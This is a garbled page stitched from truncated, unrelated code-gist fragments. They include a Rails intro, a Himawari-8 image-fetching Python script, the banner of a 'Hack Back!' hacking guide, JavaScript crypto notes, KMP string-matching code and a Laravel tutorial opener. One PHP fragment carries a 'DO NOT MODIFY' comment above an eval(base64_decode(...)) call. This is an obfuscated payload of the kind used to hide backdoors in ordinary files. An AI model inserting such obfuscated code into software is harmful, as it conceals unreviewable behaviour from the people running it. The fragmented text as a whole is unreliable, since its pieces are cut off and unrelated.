Rails is really a collection of pieces that can be put together to create a web app. You can enhance or replace many of the components - how you write views, how controllers work, and how you build models. While models are built on top of ActiveRecord in the
import requests as req | |
import sys | |
from dateutil.parser import parse | |
from PIL import Image | |
from StringIO import StringIO | |
# hi8-fetch.py <date> <zoom level> <output> | |
# E.g.: hi8-fetch.py 2016-01-13T22:10:00 8 2016-01-13T221000-z8.png | |
# Fetch Himawari-8 full disks at a given zoom level. | |
# Valid zoom levels seem to be powers of 2, 1..16, and 20. |
_ _ _ ____ _ _ | |
| | | | __ _ ___| | __ | __ ) __ _ ___| | _| | | |
| |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / | | |
| _ | (_| | (__| < | |_) | (_| | (__| <|_| | |
|_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_) | |
A DIY Guide for those without the patience to wait for whistleblowers | |
--[ 1 ]-- Introduction |
List some crypto libraries for JavaScript out there. Might be a bit out dated. Scroll to the bottom.
http://www.w3.org/TR/WebCryptoAPI/
This specification describes a JavaScript API for performing basic cryptographic operations in web applications, such as hashing, signature generation and verification, and encryption and decryption. Additionally, it describes an API for applications to generate and/or manage the keying material necessary to perform these operations. Uses for this API range from user or service authentication, document or code signing, and the confidentiality and integrity of communications.
<?php | |
/**************DO NOT MODIFY ANYTHING PAST THIS POINT*************/ | |
eval(base64_decode("JF9fRklMRV9fPV9fRklMRV9fOyRfWD0nTSNpb0NHbk5ucSshRC83QWIyCnFwIW8wPDYzdE9sa0wxdG9vbCtQdDJNOGtNeUlFCUxEeDcmdjY+aDtxaFBvPi9NT3NIZGVleDwjdjwyMCM+NEJpJD9ldDM2ejxjZkVmejBNCWpqQ2c0S2dGOHd0NWp4CW12NTIhS2JJS3NIc2skaXBrQmpIQThjdXkzOTJnM3hlZ3R2TCZFMTdudmcjUDQKSSM4YzVNd3RlI04vdmp3SDJ1TGY1cgk0clB6CWQydDYwSDBuc29nQms0Z3chOGQ/KyNDMU0JZHoJPHBIY0VJRjA7d3I5NkRzZQl1RzlCbz9JbjFkdjhzCj5paHJLQ2Uzd3o3TkhLPEw4NAp2ZglnSHV2OT5sP1AjCkY8YzRLTEFnc0g/I2QxSHBkdWYKNiRHQXVpNDBwdzgJPzNxdUt6OTAyazJlMUpoJmsJaGZNPmJMRzF4diZnTysrN1BIJmhhK3RtYjVIMko5TUdjMjw4Q1BqdUw2Tkk0eWQ/c3RHJnRiZwp0T2czJAlDTDQkYmw/SjAmYzM0Rm9uQmRoeDcyNXlycCZkeGhoJjFKP2k5cyZyUGN3ZgliZXY/az8hcWFiRXU5YXo2R3l1dVA0RiNueW5KbkIyaCs1akoJL2UkOXpDTiR1OGdhO3pKJDdFck5CbWo/Q2IJOzxCZTZybWphQ3kreUROb05taDNqaWZGb2M2d28zbThQZzYyakpleDQwOUp6cHIhKzdkCgp3aEVDQTQ4ampCT3M+JmJxZCRzeCtkMXdQSC9DMXNmPjcmaStqdzVtd08jMm9GaiZDY3I0CTVvPnhEczw0IXozMXBNeG0xYUI0IWpzMj8xczk7RFBoZiEKaTYrck5kbkVkaiRjciM7PFBmM20KR1AyNSQ/Tk |
/* | |
* BS-tree size solved with and without additional memory. | |
* | |
*/ | |
#include <iostream> | |
#include <cstdlib> | |
using namespace std; |
//http://dev-faqs.blogspot.com/2010/05/knuth-morris-pratt-algorithm.html | |
#include "PatternMatcher.h" | |
vector<int> PatternMatcher::computeKmpPrefix(const std::string &pattern){ | |
int patternSize = pattern.size(); | |
vector<int> kmpPrefix(patternSize); | |
size_t prefixPos = 0; | |
size_t suffixPos = 1; | |
while(suffixPos < patternSize){ |
std::vector<unsigned> kmp_prefix_function(std::string s) { | |
size_t n = s.size(); | |
std::vector<unsigned> result(n); | |
for (int i = 1; i < n; i++) { | |
int j = result[i-1]; | |
while (j > 0 && s[i] != s[j]) | |
j = result[j-1]; | |
There's no shortage of good resources for learning laravel. So instead of the usual introductory tutorial were just gonna learn Laravel by building a project from scratch and that's gonna be a User Management System.
I don't know if my definition of a User Management System is correct but here's my idea of what's it's capable of doing:
- Register Roles
- Register Users
- Update Users
- Sublime Package Control for managing packages (like the ones below)
- Github theme for colors
- Soda theme for better chrome
- Sublime ERB keyboard shortcuts for ERB tags
My user settings:
{